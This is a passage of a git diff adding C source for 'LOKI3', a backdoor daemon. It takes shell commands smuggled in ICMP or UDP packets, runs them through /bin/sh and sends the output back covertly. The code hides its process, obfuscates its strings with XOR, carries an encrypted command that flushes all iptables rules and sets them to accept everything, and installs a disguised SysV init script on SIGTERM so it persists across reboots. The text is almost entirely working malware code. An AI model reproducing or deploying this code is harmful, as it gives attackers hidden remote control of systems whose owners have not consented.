5\xff\x4b\x55\x83\x64\xc3\x0a\x3c\xd5\x4e\x06\x83\x62\xe9\x0a\x3c\xd5\x4b\x55\x83\x64\xc3\x11\x27\xff\x0e\x06\xc2\x27\xe9\x4f\x64\x9c\x1f\x55\x93\x4e", 213, "\xf5\x6b\x75\xa3\x44\xe3\x2a\x1c", 8 }; // #!/bin/sh\n### BEGIN INIT INFO\n# Provides: %s\n# Default-Start: 2 3 4 5\n# Default-Stop: 0 1 6\n# Short-Description: %s\n# Description: %s\n### END INIT INFO\n\ncase "$1" in\n start)\n\n %s &\n ;;\nesac\nexit 0\n + +estring S_CMD_FLUSH_IPTABLES = { "\xcf\xe8\x78\xf3\xcb\xe7\xff\x95\xf6\xc7\x16\x94\x83\xbb\xfe\xd8\xec\xcb\x45\xd5\xd6\xa1\xfc\x83\xfe\xcb\x40\xde\x85\xe8\xa1\xaf\xbf\x9b\x12\x9b\xd9\xac\xe9\x81\xb0\xc7\x59\xd7\x9a\xf3\xac\xa7\xde\xfd\x64\x86\xd9\xbb\xee\x9e\xf1\x93\x03\xce\x85\xba\xa3\x84\xfd\xc0\x42\x9b\x9f\xb8\xf8\x96\xfd\xc5\x49\xc8\xd6\xe5\xca\xd7\xad\x97\x0c\x94\x92\xad\xfa\xd8\xf1\xdc\x40\xd7\xcd\xe8\xdc\xb6\xcb\xe1\x11\x94\x85\xaa\xe5\x99\xa5\x86\x59\xc8\x84\xe7\xff\x95\xf6\xc7\x0c\xd2\x86\xbc\xed\x95\xf3\xcc\x5f\x9b\xdb\xbc\xac\x99\xfe\xdd\x0c\x96\xb0\xe8\xbe\xc9\xbf\x86\x48\xde\x80\xe7\xe2\x82\xf3\xc5\x17\x9b\xa6\x89\xd8\xbf\xa2\x86\x5f\xd9\x9f\xa6\xb6\xd8\xea\xda\x5e\x94\x85\xaa\xe5\x99\xbf\xc0\x5c\xcf\x97\xaa\xe0\x92\xec\x89\x01\xcf\xd6\xa6\xed\x83\xbf\x84\x74\x9b\xc4\xf6\xac\xd8\xfb\xcc\x5a\x94\x98\xbd\xe0\x9b\xa4\x89\x7c\xfa\xa2\x80\xb1\xd8\xec\xcb\x45\xd5\xcc\xe7\xf9\x84\xed\x86\x5f\xd9\x9f\xa6\xac\x9e\xef\xdd\x4d\xd9\x9a\xad\xff\xd7\xb2\xdd\x0c\xd6\x97\xa6\xeb\x9b\xfa\x89\x01\xfd\xd6\xfa\xb2\xd7\xb0\xcd\x49\xcd\xd9\xa6\xf9\x9b\xf3\x92\x0c\xeb\xb7\x9c\xc4\xca\xb0\xda\x4e\xd2\x98\xf2\xa3\x82\xec\xdb\x03\xc8\x94\xa1\xe2\xd7\xf6\xd9\x58\xda\x94\xa4\xe9\x84\xbf\x84\x58\x9b\x9b\xa9\xe2\x90\xf3\xcc\x0c\x96\xae\xe8\xbe\xc9\xbf\x86\x48\xde\x80\xe7\xe2\x82\xf3\xc5\x17\x9b\xa6\x89\xd8\xbf\xa2\x86\x5f\xd9\x9f\xa6\xb6\xd8\xea\xda\x5e\x94\x85\xaa\xe5\x99\xbf\xc0\x5c\xcf\x97\xaa\xe0\x92\xec\x89\x01\xcf\xd6\xba\xed\x80\xbf\x84\x6a\x9b\xc4\xf6\xac\xd8\xfb\xcc\x5a\x94\x98\xbd\xe0\x9b\xa4\x89\x7c\xfa\xa2\x80\xb1\xd8\xec\xcb\x45\xd5\xcc\xe7\xf9\x84\xed\x86\x5f\xd9\x9f\xa6\xac\x9e\xef\xdd\x4d\xd9\x9a\xad\xff\xd7\xb2\xdd\x0c\xc9\x97\xbf\xac\xda\xc7\x89\x1e\x85\xd6\xe7\xe8\x92\xe9\x86\x42\xce\x9a\xa4\xb7\xd7\xcf\xe8\x78\xf3\xcb\xe7\xff\x95\xf6\xc7\x16\x94\x83\xbb\xfe\xd8\xec\xcb\x45\xd5\xd6\xa1\xfc\x83\xfe\xcb\x40\xde\x85\xe8\xa1\xa7\xbf\xe0\x62\xeb\xa3\x9c\xac\xb6\xdc\xea\x69\xeb\xa2\xe8\xbe\xc9\xbf\x86\x48\xde\x80\xe7\xe2\x82\xf3\xc5\x17\x9b\xa6\x89\xd8\xbf\xa2\x86\x5f\xd9\x9f\xa6\xb6\xd8\xea\xda\x5e\x94\x85\xaa\xe5\x99\xbf\xc0\x5c\xcf\x97\xaa\xe0\x92\xec\x89\x01\xeb\xd6\x8e\xc3\xa5\xc8\xe8\x7e\xff\xd6\x89\xcf\xb4\xda\xf9\x78\x9b\xc4\xf6\xac\xd8\xfb\xcc\x5a\x94\x98\xbd\xe0\x9b\xa4\x89\x7c\xfa\xa2\x80\xb1\xd8\xec\xcb\x45\xd5\xcc\xe7\xf9\x84\xed\x86\x5f\xd9\x9f\xa6\xac\x9e\xef\xdd\x4d\xd9\x9a\xad\xff\xd7\xb2\xf9\x0c\xf4\xa3\x9c\xdc\xa2\xcb\x89\x6d\xf8\xb5\x8d\xdc\xa3\xbf\x9b\x12\x9b\xd9\xac\xe9\x81\xb0\xc7\x59\xd7\x9a", 605, "\x9f\xa9\x2c\xbb\xf6\xc8\x8c\xf7", 8 }; // PATH=/sbin:/usr/sbin iptables -X 2> /dev/null; PATH=/sbin:/usr/sbin iptables -F 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t nat -F 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t nat -X 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t mangle -F 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t mangle -X 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t raw -F 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t raw -X 2> /dev/null; PATH=/sbin:/usr/sbin iptables -P INPUT ACCEPT 2> /dev/null; PATH=/sbin:/usr/sbin iptables -P FORWARD ACCEPT 2> /dev/null; PATH=/sbin:/usr/sbin iptables -P OUTPUT ACCEPT 2> /dev/null + + +int main(int argc, char *argv[]) { + static int one = 1, c, cflags = 0; + uint8_t buf1[BUFSIZE] = {0}; + pid_t pid = 0; + char *dbuf; /* For deobfuscating strings */ +#ifdef POPEN + FILE *job = NULL; + char buf2[BUFSIZE] = {0}; +#endif /* POPEN */ + + + /* ensure we have proper permissions */ + if (geteuid() || getuid()) { + err_exit(0, 1, 1, decrypt(S_MSG_NOPRIV)); + } + + while ((c = getopt(argc, argv, "v:p:")) != EOF) { + switch (c) { + case 'v': /* change verbosity */ + verbose = atoi(optarg); + break; + + case 'p': /* choose transport protocol */ + switch (optarg[0]) { + case 'i': /* ICMP_ECHO / ICMP_ECHOREPLY */ + prot = IPPROTO_ICMP; + break; + + case 'u': /* DNS query / reply */ + prot = IPPROTO_UDP; + break; + + default: + err_exit(1, 0, 1, decrypt(S_MSG_UNKNOWN_TRANSPORT)); + } + + break; + + default: + err_exit(0, 0, 1, decrypt(S_MSG_USAGE)); + } + } + + /* Attempt to hide process */ + prochide(argc, argv); + + if ((tsock = socket(AF_INET, SOCK_RAW, prot)) < 0) { + err_exit(1, 1, 1, decrypt(S_MSG_SOCKET)); + } + + if ((ripsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { + err_exit(1, 1, 1, decrypt(S_MSG_SOCKET)); + } + +#ifdef DEBUG + fprintf(stderr, "[DEBUG]\tRaw IP socket: "); + fd_status(ripsock, OK); +#endif /* DEBUG */ + +#ifdef IP_HDRINCL + if (setsockopt(ripsock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0) + if (verbose) { + dbuf = decrypt(S_MSG_IP_HDRINCL); + perror(dbuf); + destroy(dbuf, S_MSG_IP_HDRINCL.size); + } +#endif /* IP_HDRINCL */ + + /* power up shared memory segment and semaphore, register dump_shm + to be called upon exit */ + prep_shm(); + if (atexit(dump_shm) == -1) { + err_exit(1, 1, verbose, decrypt(S_MSG_ATEXIT)); + } + + dbuf = decrypt(S_MSG_BANNER); + fprintf(stderr, "%s", dbuf); + destroy(dbuf, S_MSG_BANNER.size); + + time(&uptime); /* server uptime timer */ + +#ifndef DEBUG + shadow(); /* go daemon */ +#endif /* DEBUG */ + + destroy_shm = OK; /* if this process exits at any point from + hereafter, mark shm as destroyed */ + + /* Every KEY_TIMER seconds, we should check the client_key list + and see if any entries have been idle long enough to expire + them. */ + if (signal(SIGALRM, client_expiry_check) == SIG_ERR) { + err_exit(1, 1, verbose, decrypt(S_MSG_SIGALRM)); + } + + alarm(KEY_TIMER); + +#ifdef PERSISTENCE + /* SIGTERM Persistence */ + unlink_persistence(); + + if (signal(SIGTERM, handle_sigterm) == SIG_ERR) { + err_exit(1, 1, verbose, decrypt(S_MSG_SIGTERM)); + } +#endif /* PERSISTENCE */ + + if (signal(SIGCHLD, reaper) == SIG_ERR) { + err_exit(1, 1, verbose, decrypt(S_MSG_SIGCHLD)); + } + + for (;;) { + cflags &= ~VALIDP; /* Blocking read */ + c = read(tsock, (struct loki *)&rdg, LOKIP_SIZE); + + switch (prot) { /* Is this a valid Loki packet? */ + case IPPROTO_ICMP: + if ((IS_GOOD_ITYPE_D(rdg))) { + cflags |= VALIDP; + c_id = rdg.ttype.icmph.icmp_id; + } + break; + + case IPPROTO_UDP: + if ((IS_GOOD_UTYPE_D(rdg))) { + cflags |= VALIDP; + c_id = rdg.ttype.udph.uh_sport; + } + break; + + default: + err_exit(1, 0, verbose, decrypt(S_MSG_WIERDERR)); + } + + if (cflags & VALIDP) { +#ifdef DEBUG + fprintf(stderr, "\n[DEBUG]\t\tlokid: packet read %d bytes, type: ", c); + PACKET_TYPE(rdg); + DUMP_PACKET(rdg, c); +#endif /* DEBUG */ + switch (pid = fork()) { + case 0: + destroy_shm = NOK; /* child should NOT mark segment as + destroyed when exiting... */ + +/* TLI seems to have problems in passing socket file desciptors around */ +#ifdef SOLARIS + close(ripsock); + if ((ripsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { + err_exit(1, 1, 1, decrypt(S_MSG_SOCKET)); + } +#ifdef DEBUG + fprintf(stderr, "\n[DEBUG]\tRaw IP socket: "); + fd_status(ripsock, OK); +#endif /* DEBUG */ +#endif /* SOLARIS */ + break; + + default: /* parent will loop forever spawning children + if we do not zero rdg */ + bzero((struct loki *)&rdg, LOKIP_SIZE); + cflags &= ~VALIDP; + continue; + + case -1: /* fork error */ + err_exit(1, 1, verbose, decrypt(S_MSG_FORK_ERROR)); + } + + if (((c = add_client((uint8_t *)NULL)) == -1)) { + lokid_xmit((uint8_t *)S_MSG_PACKED, LP_DST, L_ERR, NOCR); //xxx + lokid_xmit(buf1, LP_DST, L_EOT, NOCR); + err_exit(1, 0, verbose, decrypt(S_MSG_CANNOT_ADD_KEY)); + } + + /* unload payload */ + bcopy(&rdg.payload[1], buf1, BUFSIZE - 1); + blur(DECR, BUFSIZE - 1, buf1); + + /* parse escaped command */ + if (buf1[0] == '/') { + d_parse(buf1, pid, ripsock); + } + +#ifdef POPEN /* popen the shell command and execute it inside of /bin/sh */ + if (!(job = popen((char *)buf1, "r"))) { + err_exit(1, 1, verbose, decrypt(S_MSG_POPEN)); + } + + while (fgets(buf2, BUFSIZE - 1, job)) { + bcopy(buf2, buf1, BUFSIZE); + lokid_xmit(buf1, LP_DST, L_REPLY, OKCR); + } + lokid_xmit(buf1, LP_DST, L_EOT, OKCR); + update_client(locate_client(FIND), p_sent, b_sent); + clean_exit(0); /* exit the child after sending the last packet */ +#endif /* POPEN */ + } + } +} + + +/* + * Build and transmit Loki packets (server-side version) + */ +int lokid_xmit(uint8_t *payload, uint32_t dst, int ptype, int crypt_flag) { + struct sockaddr_in sin; + int i = 0; + char *dbuf; + + + bzero((struct loki *)&sdg, LOKIP_SIZE); + + sin.sin_family = AF_INET; + sin.sin_addr.s_addr = dst; + sdg.payload[0] = ptype; /* set packet type */ + + /* Do not encrypt error or public key reply packets */ + if (crypt_flag == OKCR) + blur(ENCR, BUFSIZE - 1, payload); + bcopy(payload, &sdg.payload[1], BUFSIZE - 1); + + if (prot == IPPROTO_ICMP) { +#ifdef NET3 /* Our workaround. */ + sdg.ttype.icmph.icmp_type = ICMP_ECHO; +#else + sdg.ttype.icmph.icmp_type = ICMP_ECHOREPLY; +#endif /* NET3 */ + sdg.ttype.icmph.icmp_code = 0; + sdg.ttype.icmph.icmp_id = c_id; /* client ID */ + sdg.ttype.icmph.icmp_seq = L_TAG; /* Loki ID */ + sdg.ttype.icmph.icmp_cksum = + i_check((uint16_t *)&sdg.ttype.icmph, BUFSIZE + ICMPH_SIZE); + } + + if (prot == IPPROTO_UDP) { + sdg.ttype.udph.uh_sport = NL_PORT; + sdg.ttype.udph.uh_dport = rdg.ttype.udph.uh_sport; + sdg.ttype.udph.uh_ulen = htons(UDPH_SIZE + BUFSIZE); + sdg.ttype.udph.uh_sum = + i_check((uint16_t *)&sdg.ttype.udph, BUFSIZE + UDPH_SIZE); + } + sdg.iph.ip_v = 0x4; + sdg.iph.ip_hl = 0x5; + sdg.iph.ip_len = FIX_LEN(LOKIP_SIZE); + sdg.iph.ip_ttl = 0x40; + sdg.iph.ip_p = prot; + sdg.iph.ip_dst = sin.sin_addr.s_addr; + +#ifdef SEND_PAUSE + usleep(SEND_PAUSE); +#endif /* SEND_PAUSE */ + + if ((i = sendto(ripsock, (struct loki *)&sdg, LOKIP_SIZE, 0, (struct sockaddr *)&sin, sizeof(sin))) < LOKIP_SIZE) { + if (verbose){ + dbuf = decrypt(S_MSG_TRUNCATED_WRITE); + perror(dbuf); + destroy(dbuf, S_MSG_TRUNCATED_WRITE.size); + } + } else { /* Update global stats */ + b_sent += i; + p_sent ++; + } + return (i < 0) ? 0 : i; /* Make snocrash happy (return bytes written, + * or return 0 if there was an error) */ +} + + +/* + * Keep child proccesses from zombiing on us + */ +void reaper(int signo) { + int sys = 0; + + wait(&sys); /* get child's exit status */ + + /* re-establish signal handler */ + if (signal(SIGCHLD, reaper) == SIG_ERR) { + err_exit(1, 1, verbose, decrypt(S_MSG_SIGCHLD)); + } +} + + +/* + * Simple daemonizing procedure. + */ +void shadow() { + int n; + int fd = 0; + + close(STDIN_FILENO); /* We no longer need STDIN */ + if (!verbose) { /* Get rid of these also */ + close(STDOUT_FILENO); + close(STDERR_FILENO); + } + + /* Ignore read/write signals from/to the controlling terminal. */ + signal(SIGTTOU, SIG_IGN); + signal(SIGTTIN, SIG_IGN); + signal(SIGTSTP, SIG_IGN); /* Ignore suspend signal. */ + + switch (fork()) { + case 0: /* child continues */ + break; + + default: /* parent exits */ + clean_exit(0); + + case -1: /* fork error */ + err_exit(1, 1, verbose, decrypt(S_MSG_CANNOT_DAEMONIZE)); + } + + /* Create a new session and set this process to be the group leader. */ + if (setsid() == -1) { + err_exit(1, 1, verbose, decrypt(S_MSG_CANNOT_CREATE_SESSION)); + } + + /* Detach from controlling terminal */ + if ((fd = open("/dev/tty", O_RDWR)) >= 0) { + if ((ioctl(fd, TIOCNOTTY, (char *)NULL)) == -1) { + err_exit(1, 1, verbose, decrypt(S_MSG_CANNOT_DETACH_TERMINAL)); + } + close(fd); + } + + errno = 0; // TODO why is this being set? + + n = chdir(WORKING_ROOT); /* Working dir should be the root */ + if (n == -1) { + err_exit(1, 1, verbose, decrypt(S_MSG_CANNOT_CHDIR)); + } + + umask(0); /* File creation mask should be 0 */ +} + + +/* + * Parse escaped commands (server-side version) + */ +void d_parse(uint8_t *buf, pid_t pid, int ripsock) { + uint8_t buf2[4 * BUFSIZE] = {0}; + int n = 0, m = 0; + uint32_t client_ip = 0; + char *dbuf; + + + /* client request for an all kill */ + if (!strncmp((char *)buf, QUIT_ALL, sizeof(QUIT_ALL) - 1)) { + if (verbose) { + dbuf = decrypt(S_MSG_CLIENT_ALL_KILL); + fprintf(stderr, dbuf, c_id); + destroy(dbuf, S_MSG_CLIENT_ALL_KILL.size); + } + + while (n < MAX_CLIENT) { /* send notification to all clients */ + if ((client_ip = check_client_ip(n++, &c_id))) { + if (verbose) { + dbuf = decrypt(S_MSG_SENDING_L_QUIT); + fprintf(stderr, dbuf, c_id, host_lookup(client_ip)); + destroy(dbuf, S_MSG_SENDING_L_QUIT.size); + } + + lokid_xmit(buf, client_ip, L_QUIT, NOCR); + } + } + + if (verbose) { + dbuf = decrypt(S_MSG_CLIENTK); + fprintf(stderr, "%s", dbuf); + destroy(dbuf, S_MSG_CLIENTK.size); + } + + /* send a SIGKILL to all the processes in the servers group... */ + if ((kill(-pid, SIGKILL)) == -1) { + err_exit(1, 1, verbose, decrypt(S_MSG_CANNOT_SIGNAL_PROCESS_GROUP)); + } + + clean_exit(0); + } + /* client is exited, remove entry from the client list */ + if (!strncmp((char *)buf, QUIT_C, sizeof(QUIT_C) - 1)) { + if ((m = locate_client(DESTROY)) == -1) { + err_exit(1, 0, verbose, decrypt(S_MSG_UNKNOWN)); + } + + else if (verbose) { + dbuf = decrypt(S_MSG_CLIENT_FREED); + fprintf(stderr, dbuf, c_id, m); + destroy(dbuf, S_MSG_CLIENT_FREED.size); + } + + clean_exit(0); + } + + /* stat request */ + if (!strncmp((char *)buf, STAT_C, sizeof(STAT_C) - 1)) { + bzero((uint8_t *)buf2, 4 * BUFSIZE); + /* Ok. This is an ugly hack to keep packet counts in sync + * with the stat request. We know the amount of packets we + * are going to send (and therefore the byte count) in advance + * so we can preload the values. + */ + update_client(locate_client(FIND), 5, 5 * LOKIP_SIZE); + n = stat_client(locate_client(FIND), buf2, prot, uptime); + + /* breakdown payload into BUFSIZE-1 chunks, suitable for transmission */ + for (; m < n; m += (BUFSIZE - 1)) { + bcopy(&buf2[m], buf, BUFSIZE - 1); + lokid_xmit(buf, LP_DST, L_REPLY, OKCR); + } + lokid_xmit(buf, LP_DST, L_EOT, OKCR); + clean_exit(0); /* exit the child after sending the last packet */ + } + + if (!strncmp((char *)buf, SWAP_T, sizeof(SWAP_T) - 1)) { + if (kill(getppid(), SIGUSR1)) { + err_exit(1, 1, verbose, decrypt(S_MSG_CANNOT_SIGNAL_PARENT)); + } + clean_exit(0); + } + + /* unsupport/unrecognized command */ + dbuf = decrypt(S_MSG_UNSUP); + lokid_xmit((uint8_t *)dbuf, LP_DST, L_REPLY, OKCR); + destroy(dbuf, S_MSG_UNSUP.size); + + lokid_xmit(buf2, LP_DST, L_EOT, OKCR); + + update_client(locate_client(FIND), p_sent, b_sent); + clean_exit(0); // TODO should this exit if an unknown command is sent? +} + + +/* + * Swap transport protocols. This is called as a result of SIGUSR1 from + * a child server process. + */ +void swap_t(int signo) { + int n = 0; + uint32_t client_ip = 0; + struct protoent *pprot = 0; + char buf[BUFSIZE] = {0}; + char *dbuf; + + + if (verbose) { + char *str = decrypt(S_MSG_CLIENT_PROTO_SWAP); + fprintf(stderr, str, c_id); + destroy(str, S_MSG_CLIENT_PROTO_SWAP.size); + } + + while (n < MAX_CLIENT) { + if ((client_ip = check_client_ip(n++, &c_id))) { + char *str = decrypt(S_MSG_SEND_PROTO_UPDATE); + + fprintf(stderr, str, c_id, host_lookup(client_ip), n); + + lokid_xmit((uint8_t *)buf, client_ip, L_REPLY, OKCR); + lokid_xmit((uint8_t *)buf, client_ip, L_EOT, OKCR); + + destroy(str, S_MSG_SEND_PROTO_UPDATE.size); + + //update_client(locate_client(FIND), p_sent, b_sent); + } + } + + close(tsock); + + prot = (prot == IPPROTO_UDP) ? IPPROTO_ICMP : IPPROTO_UDP; + + if ((tsock = socket(AF_INET, SOCK_RAW, prot)) < 0) { + err_exit(1, 1, verbose, decrypt(S_MSG_SOCKET)); + } + + pprot = getprotobynumber(prot); + + dbuf = decrypt(S_MSG_PROTOCOL_CHANGED); + sprintf(buf, dbuf, pprot -> p_name); + destroy(dbuf, S_MSG_PROTOCOL_CHANGED.size); + + fprintf(stderr, "\n%s", buf); + + lokid_xmit((uint8_t *)buf, LP_DST, L_REPLY, OKCR); + lokid_xmit((uint8_t *)buf, LP_DST, L_EOT, OKCR); + + update_client(locate_client(FIND), p_sent, b_sent); + + /* re-establish signal handler */ + if (signal(SIGUSR1, swap_t) == SIG_ERR) { + err_exit(1, 1, verbose, decrypt(S_MSG_SIGUSR1)); + } +} + +/* EOF */ diff --git a/obfuscate.c b/obfuscate.c new file mode 100644 index 0000000..98e77db --- /dev/null +++ b/obfuscate.c @@ -0,0 +1,144 @@ +#include +#include +#include +#include +#include +#include +#include + +#define CSTROBF_MAX 1024 +#define KEY_SIZE 8 + + +typedef struct cstrobf { + uint8_t str[CSTROBF_MAX]; + size_t size; + uint8_t key[KEY_SIZE]; + size_t ksize; +} estring; + + + +char *decrypt(estring encrypted) { + int i; + char buf[CSTROBF_MAX] = {0}; + + for (i = 0; i < encrypted.size; i++) + buf[i] = encrypted.str[i] ^ encrypted.key[i % encrypted.ksize]; + + return strdup(buf); +} + +void destroy(char *buf, size_t len) { + for(int i = 0; i < len; i++) + buf[i] = rand() % 256; + free(buf); +} + +void encrypt(const char *varname, const uint8_t *buf) { + int i; + uint8_t ebuf[CSTROBF_MAX] = {0}; + uint8_t key[KEY_SIZE] = {0}; + size_t len; + + + len = strlen(buf); + + for (i = 0; i < KEY_SIZE; i++) + key[i] = rand() % 256; + + for (i = 0; i < len; i++) + ebuf[i] = buf[i] ^ key[i % KEY_SIZE]; + + /* ughly ass print this to stdout. if you don't want a newline, + whack off the last byte, and decrease the size by one */ + printf("estring %s = { \"", varname); + for (i = 0; i < len; i++) + printf("\\x%02x", ebuf[i]); + printf("\", %ld, \"", len); + for (i = 0; i < KEY_SIZE; i++) + printf("\\x%02x", key[i]); + printf("\", %d }; // %s\n", KEY_SIZE, buf); +} + +int main(int argc, char *argv[]) { + srand(time(NULL)); + + //estring L_MSG_BANNER = { "\xda\x30\x80\x6c\x99\xbc\xe5\x8d\xbd\x1a\xbd\x07\x8b\xa7\x8f\xc0\xf0\x4e\xff\x16\xe9\xa2\xdf\xd9\xe0\x4c\xef\x62\xbc\xea\x8f\x9d\xb9\x0a\xaa\x07\x83\xfa\x9e\x8e\xb5\x0e\xb6\x7a\xda", 45, "\xd0\x7c\xcf\x27\xd0\x8f\xec\xe9", 8 }; // \nLOKI3\tdmfr [(c) 2019-3000 Elective Surgery]\n + + //char *d = decrypt(L_MSG_BANNER); + //printf("%s", d); destroy(d, L_MSG_BANNER.size); + + + //encrypt("S_STAT_REQUESTS", "requests:\t\t%d\n"); + //encrypt("S_STAT_BYTES_WRITTEN", "bytes written:\t\t%d\n"); + //encrypt("S_STAT_PACKETS_WRITTEN", "packets written:\t%d\n"); + //encrypt("S_STAT_CLIENT_ID", "client ID:\t\t%d\n"); + //encrypt("S_STAT_UPTIME", "server uptime:\t\t%.02f minutes\n"); + //encrypt("S_STAT_CRYPTO", "active cryptography:\t%s\n"); + //encrypt("S_STAT_TRANSPORT", "active transport:\t%s\n"); + //encrypt("S_STAT_INTERFACE", "remote interface:\t%s\n"); + //encrypt("S_STAT_VERSION", "\nlokid version:\t\t%s\n"); + + + encrypt("S_SYSV_SERVICE", "#!/bin/sh\n" + "### BEGIN INIT INFO\n" + "# Provides: %s\n" + "# Default-Start: 2 3 4 5\n" + "# Default-Stop: 0 1 6\n" + "# Short-Description: %s\n" + "# Description: %s\n" + "### END INIT INFO\n\n" + "case \"$1\" in\n" + " start)\n" + " %s &\n" + " ;;\n" + "esac\n" + "exit 0\n"); + //encrypt("S_CMD_FLUSH_IPTABLES", "PATH=/sbin:/usr/sbin iptables -X 2> /dev/null; PATH=/sbin:/usr/sbin iptables -F 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t nat -F 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t nat -X 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t mangle -F 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t mangle -X 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t raw -F 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t raw -X 2> /dev/null; PATH=/sbin:/usr/sbin iptables -P INPUT ACCEPT 2> /dev/null; PATH=/sbin:/usr/sbin iptables -P FORWARD ACCEPT 2> /dev/null; PATH=/sbin:/usr/sbin iptables -P OUTPUT ACCEPT 2> /dev/null"); + + //encrypt("S_MSG_CLIENT_DB_FULL", "\nlokid: Client database full"); + //encrypt("S_MSG_EXPIRED_CLIENT", "\nlokid: inactive client <%d> expired from list [%d]\n"); + //encrypt("S_MSG_CLIENTK", "\nlokid: clean exit (killed at client request)\n"); + //encrypt("S_MSG_UNKNOWN", "\nlokid: cannot locate client entry in database\n"); + + //encrypt("S_MSG_CANNOT_CHDIR", "[fatal] cannot chdir to WORKING_ROOT"); + //encrypt("S_MSG_CANNOT_DETACH_TERMINAL", "[fatal] cannot detach from controlling terminal"); + //encrypt("S_MSG_CANNOT_CREATE_SESSION", "[fatal] Cannot create session"); + //encrypt("S_MSG_CANNOT_DAEMONIZE", "[fatal] Cannot go daemon"); + //encrypt("S_MSG_CANNOT_SIGNAL_PROCESS_GROUP", "[fatal] could not signal process group"); + //encrypt("S_MSG_SENDING_L_QUIT", "\tsending L_QUIT: <%d> %s\n"); + //encrypt("S_MSG_TRUNCATED_WRITE", "[non fatal] truncated write"); + //encrypt("S_MSG_POPEN", "\nlokid: popen"); + //encrypt("S_MSG_CLIENT_ALL_KILL", "\nlokid: client <%d> requested an all kill\n"); + //encrypt("S_MSG_CLIENT_FREED", "\nlokid: client <%d> freed from list [%d]"); + //encrypt("S_MSG_FORK_ERROR", "[fatal] forking error"); + //encrypt("S_MSG_WIERDERR", "\n[SUPER fatal] control should NEVER fall here\n"); + + //encrypt("S_MSG_SHM_DETACH_ERROR", "[fatal] shared mem segment detach error"); + //encrypt("S_MSG_CANNOT_DESTROY_SHMID", "[fatal] cannot destroy shmid"); + //encrypt("S_MSG_CANNOT_DESTROY_SEMAPHORE", "[fatal] cannot destroy semaphore"); + //encrypt("S_MSG_SHM_SEGMENT_ERROR", "[fatal] shared mem segment request error"); + //encrypt("S_MSG_SEMAPHORE_ALLOCATION_ERROR", "[fatal] semaphore allocation error"); + //encrypt("S_MSG_CANNOT_LOCK_MEMORY", "[fatal] could not lock memory"); + //encrypt("S_MSG_CANNOT_UNLOCK_MEMORY", "[fatal] could not unlock memory"); + //encrypt("S_MSG_SIGCHLD", "[fatal] cannot catch SIGCHLD"); + //encrypt("S_MSG_SIGUSR1", "[fatal] cannot catch SIGUSR1"); + //encrypt("S_MSG_SIGCHLD", "[fatal] cannot catch SIGCHLD"); + //encrypt("S_MSG_SIGALRM", "[fatal] cannot catch SIGALRM"); + //encrypt("S_MSG_SIGTERM", "[fatal] cannot catch SIGTERM"); + //encrypt("S_MSG_ATEXIT", "[fatal] cannot register with atexit(2)"); + //encrypt("S_MSG_IP_HDRINCL", "Cannot set IP_HDRINCL socket option"); + //encrypt("S_MSG_SOCKET", "[fatal] socket allocation error"); + //encrypt("S_MSG_UNKNOWN_TRANSPORT", "[fatal] Unknown transport\n"); + //encrypt("S_MSG_NOPRIV", "\n[fatal] invalid user identification value"); + //encrypt("S_MSG_CANNOT_SIGNAL_PARENT", "[fatal] could not signal parent"); + //encrypt("S_MSG_CANNOT_ADD_KEY", "\nlokid: Cannot add key\n"); + //encrypt("S_MSG_USAGE", "\nlokid -p (i|u) [ -v (0|1) ]\n"); + //encrypt("S_MSG_UNSUP", "\nlokid: unsupported or unknown command string\n"); + //encrypt("S_MSG_PROTOCOL_CHANGED", "lokid: transport protocol changed to %s\n"); + //encrypt("S_MSG_SEND_PROTO_UPDATE", "\tsending protocol update: <%d> %s [%d]\n"); + //encrypt("S_MSG_PROTOUPDATE", "\nlokid: client <%d> requested a protocol swap\n"); + //encrypt("L_MSG_BANNER", "\nLOKI3\tdmfr [(c) 2019-3000 Elective Surgery]\n"); + return EXIT_SUCCESS; +} diff --git a/persistence.c b/persistence.c new file mode 100644 index 0000000..3d6a42c --- /dev/null +++ b/persistence.c @@ -0,0 +1,117 @@ +/* + * LOKI3 + * + * [ persistence.h ] + * + * 2019 and beyond Elective Surgery [dmfr] + */ + +#ifdef PERSISTENCE +#include "loki.h" +#include "persistence.h" + + +extern estring S_SYSV_SERVICE; + + +/* + * Generate a random string. + * Used the character set because it blended in with files in /bin: + * % strings * |grep ABC |sort |uniq -c |sort -n + * ...snip... + * 257 0123456789ABCDEF <--- pretty common alphanumeric string. + */ +static void random_string(char *dst, size_t len) { + char character_set[] = "0123456789ABCDEF"; + + while (len--) { + *dst++ = character_set[rand() % (sizeof(character_set) - 1)]; + } + + *dst = '\0'; +} + +static void random_string_range(char *dst, size_t lower, size_t upper) { + int len; + + len = (rand() % (upper - lower + 1)) + lower; + random_string(dst, len); +} + + +/* + * SIGTERM handler. This will be caught when the `reboot` command is + * issued, or `kill our_pid_here`. + * + * This persistence sets up a SysV service when SIGTERM is caught. reboot + * and init 6 first attempt to send all process the SIGTERM signal so they + * may gracefully exit. We take advantage of this and gracefully exit by + * installing persistence. + */ +void handle_sigterm(int signo) { + /* create init script and symlinks */ + FILE *fp; + char self[PATH_MAX + 1]; + char service_name[16]; + char str[8192]; + char *dbuf; + size_t n; + + + random_string_range(service_name, 4, sizeof(service_name)); + + fp = fopen(INIT_SCRIPT, "w+"); // TODO obfuscate this + if (fp == NULL) { + perror("fopen"); + return; + } + + n = readlink("/proc/self/exe", self, sizeof(self)); + if (n == -1) { + perror("readlink"); + return; + } + + dbuf = decrypt(S_SYSV_SERVICE); + snprintf(str, sizeof(str), dbuf, + /* "#!/bin/sh\n" */ + /* "### BEGIN INIT INFO\n" */ + /* "# Provides: %s\n" */ + /* "# Default-Start: 2 3 4 5\n" */ + /* "# Default-Stop: 0 1 6\n" */ + /* "# Short-Description: %s\n" */ + /* "# Description: %s\n" */ + /* "### END INIT INFO\n\n" */ + /* "case \"$1\" in\n" */ + /* " start)\n" */ + /* " %s &\n" */ + 